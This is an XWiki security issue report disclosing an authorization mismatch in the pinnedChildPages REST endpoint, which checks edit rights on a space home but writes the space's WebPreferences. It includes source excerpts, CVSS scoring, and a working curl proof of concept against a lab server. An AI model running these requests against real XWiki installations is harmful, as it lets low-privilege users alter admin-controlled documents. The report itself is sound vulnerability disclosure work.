Uploaded image for project: 'XWiki Platform'
  1. XWiki Platform
  2. XWIKI-24962

POST /rest/.../spaces/{S}/pinnedChildPages checks EDIT on S.WebHome but writes S.WebPreferences

    XMLWordPrintable

Details

    • Unknown
    • CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
    • 5.3

    Description

      llm-agent
      continuation of XWIKI-24747

      Env

      • XWiki 18.6.0 (official xwiki:18.6.0-mariadb-tomcat image), xwiki-platform-index-tree-rest-default / xwiki-platform-index-tree-api 18.6.0 (Java, from the WAR)
      • requires a registered user holding the default wiki-level edit grant that XWiki Standard gives XWikiAllGroup
      • since 17.2.0 (REST reach) — aaf345bbb3f (2025-02-21, XWIKI-22583 "Allow users with edit rights on a page and all its children to use the Pinned Pages feature"); the low-level saveDocument to WebPreferences comes from 3eef6168316 (2024-04-29, XWIKI-14422), first released in 16.4.0. Affected >= 17.2.0, through 18.6.0 and master
      • stock install, nothing configured — the endpoint is part of the XWiki Standard flavor
      • CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N = 5.3

      Explanation

      The platform has just fixed one place where WebPreferences is written under a right checked on the space home (XWIKI-24747, refactoring/rename path). This is a second, in a different module, through a different API.

      The gate and the write target are different documents. DefaultPinnedChildPagesResource.setPinnedChildPages checks hasAccess(Right.EDIT, <S>.WebHome); PinnedChildPagesManager.setPinnedChildPages then writes <S>.WebPreferences with xcontext.getWiki().saveDocument(...) — the low-level API, which performs no rights check of its own and bypasses checkSavingDocument — creating the document if absent and restamping its originalMetadataAuthor to the caller.

      A user holding only wiki-level edit gets 401 on a direct write of <S>.WebPreferences and 202 through this endpoint, in the same run.

      The stronger arm: an "allow view to admins only" space ACL does not override the wiki-level edit grant to XWikiAllGroup, so hasAccess(EDIT, <S>.WebHome) stays true while every normal write path (which also needs VIEW) refuses. The user then writes the preferences document of a space in which they cannot read or write anything at all.

      DefaultPinnedChildPagesResource.java#L92-L116

      homeReference = new DocumentReference(wikiName, spaces, ...getName());   // <S>.WebHome
      if (!this.authorizationManager.hasAccess(Right.EDIT, homeReference)) {
          return Response.status(Response.Status.FORBIDDEN).build();
      }
      ...
      this.pinnedChildPagesManager.setPinnedChildPages(homeReference, pinnedChildPagesRef);
      

      PinnedChildPagesManager.java#L174-L196

      XWikiDocument storageDocument = xcontext.getWiki().getDocument(storageReference, xcontext).clone();
      if (storageDocument.isNew()) { storageDocument.setHidden(true); }
      storageDocument.getAuthors().setOriginalMetadataAuthor(
          this.currentUserReferenceResolver.resolve(CurrentUserReference.INSTANCE));
      ...
      xcontext.getWiki().saveDocument(storageDocument, saveComment, true, xcontext);
      

      getPinnedChildPagesStorage maps a SPACE parent to new DocumentReference("WebPreferences", new SpaceReference(parentReference)).

      Related: XWIKI-24747 (same gate/target mismatch, refactoring path). Caused by: XWIKI-22583 (aaf345bbb3f, the REST resource) / XWIKI-14422 (3eef6168316, the low-level write).

      PoC

      Full script: [^P6-searchindex-06-review-pinnedchildpages-webpreferences-write.sh]

      {warning}Arm 2 adds a space-level ACL denying view to everyone but XWiki.Admin. Teardown deletes the whole space and verifies 404 plus an empty read-back.{warning}
      B=http://10.1.1.128:8080
      J=$(mktemp)
      
      # --- SETUP -------------------------------------------------------------
      for n in WebHome Alpha Beta; do
        curl -s -u admin:admin -X PUT -H 'Content-Type: text/plain' --data-binary 'c' \
          "$B/rest/wikis/xwiki/spaces/P6RSXE/pages/$n"; done                       # 201 x3
      
      # --- ARM 1, refutation first: the normal write path refuses -------------
      curl -s -o /dev/null -w '%{http_code}\n' -u standard:standard -X PUT \
        -H 'Content-Type: text/plain' --data-binary 'x' \
        "$B/rest/wikis/xwiki/spaces/P6RSXE/pages/WebPreferences"                   # 401
      curl -s -o /dev/null -w '%{http_code}\n' -u standard:standard -X PUT \
        -H 'Content-Type: text/plain' --data-binary 'c2' \
        "$B/rest/wikis/xwiki/spaces/P6RSXE/pages/WebHome"                          # 202  <- control
      
      # --- ARM 1, exploit: same user, same document, other endpoint ----------
      curl -s -o /dev/null -w '%{http_code}\n' -u standard:standard -X POST \
        -H 'Content-Type: application/json' --data '["xwiki:P6RSXE.Beta","xwiki:P6RSXE.Alpha"]' \
        "$B/rest/wikis/xwiki/spaces/P6RSXE/pinnedChildPages"                       # 202
      curl -s -u admin:admin "$B/rest/wikis/xwiki/spaces/P6RSXE/pages/WebPreferences" | grep -oE '<(version|originalMetadataAuthor)>[^<]*'
      #   <version>1.1</version>   <originalMetadataAuthor>xwiki:XWiki.standard</originalMetadataAuthor>
      curl -s -u admin:admin "$B/rest/wikis/xwiki/spaces/P6RSXE/pinnedChildPages"
      #   ["xwiki:P6RSXE.Beta","xwiki:P6RSXE.Alpha"]
      
      # --- ARM 1, positive controls that the gate is not simply absent -------
      curl -s -o /dev/null -w '%{http_code}\n' -u standard:standard -X POST \
        -H 'Content-Type: application/json' --data '["Sandbox"]' \
        "$B/rest/wikis/xwiki/pinnedChildPages"                                     # 403  (wiki gate = ADMIN)
      curl -s -o /dev/null -w '%{http_code}\n' -X POST \
        -H 'Content-Type: application/json' --data '["Sandbox"]' \
        "$B/rest/wikis/xwiki/spaces/P6RSXE/pinnedChildPages"                       # 403  (guest)
      
      # --- ARM 2: deny the user everything in the space ----------------------
      TOK=$(curl -s -D - -o /dev/null -u admin:admin -c "$J" -b "$J" "$B/rest/wikis/xwiki" \
            | awk 'tolower($1)=="xwiki-form-token:"{print $2}' | tr -d '\r')
      [ -n "$TOK" ] || { echo "token extraction failed"; exit 1; }
      curl -s -u admin:admin -c "$J" -b "$J" -H "XWiki-Form-Token: $TOK" -X POST \
        --data-urlencode 'className=XWiki.XWikiGlobalRights' --data-urlencode 'property#levels=view' \
        --data-urlencode 'property#users=XWiki.Admin'        --data-urlencode 'property#allow=1' \
        "$B/rest/wikis/xwiki/spaces/P6RSXE/pages/WebPreferences/objects"           # 201
      curl -s -o /dev/null -w '%{http_code}\n' -u standard:standard "$B/bin/view/P6RSXE/Alpha"          # 403
      curl -s -o /dev/null -w '%{http_code}\n' -u standard:standard -X PUT -H 'Content-Type: text/plain' \
        --data-binary 'z' "$B/rest/wikis/xwiki/spaces/P6RSXE/pages/Alpha"                                # 401
      curl -s -o /dev/null -w '%{http_code}\n' -u standard:standard -X POST \
        -H 'Content-Type: application/json' --data '["xwiki:P6RSXE.Alpha"]' \
        "$B/rest/wikis/xwiki/spaces/P6RSXE/pinnedChildPages"                                             # 202  <-- still writes
      curl -s -u admin:admin "$B/rest/wikis/xwiki/spaces/P6RSXE/pages/WebPreferences/objects" | grep -o '<className>[^<]*'
      #   XWiki.PinnedChildPagesClass  +  XWiki.XWikiGlobalRights   (the ACL survives the write)
      
      # --- TEARDOWN ----------------------------------------------------------
      for p in Alpha Beta WebPreferences WebHome; do
        curl -s -u admin:admin -X DELETE "$B/rest/wikis/xwiki/spaces/P6RSXE/pages/$p"; done   # 204
      for p in Alpha Beta WebPreferences WebHome; do
        curl -s -o /dev/null -w "$p %{http_code}\n" -u admin:admin \
          "$B/rest/wikis/xwiki/spaces/P6RSXE/pages/$p"; done                                  # 404 x4
      curl -s -u admin:admin "$B/rest/wikis/xwiki/spaces/P6RSXE/pinnedChildPages"             # []
      rm -f "$J"
      

      Bounds

      • The stored value is a StaticListClass list of resolved-and-reserialised document references, so no arbitrary content or rights objects can be injected, and existing objects on WebPreferences survive the write (verified).
      • No stored-XSS arm — templates/pinnedChildPagesDisplayer.vm renders through #suggestInput (macros.vm:2975), which pushes every value through $escapetool.xml.

      Impact

      A user with only wiki-level edit creates or modifies <S>.WebPreferences — admin territory — in any space, including a space whose ACL denies them both read and write.

      Credit

      Assisted-by: Claude
      Supervised-by: Clément Christiaens (https://github.com/ciaens)

      Attachments

        Issue Links

          Activity

            People

              surli Simon Urli
              ciaens Clément Christiaens
              Votes:
              0 Vote for this issue
              Watchers:
              1 Start watching this issue

              Dates

                Created:
                Updated:
                Resolved: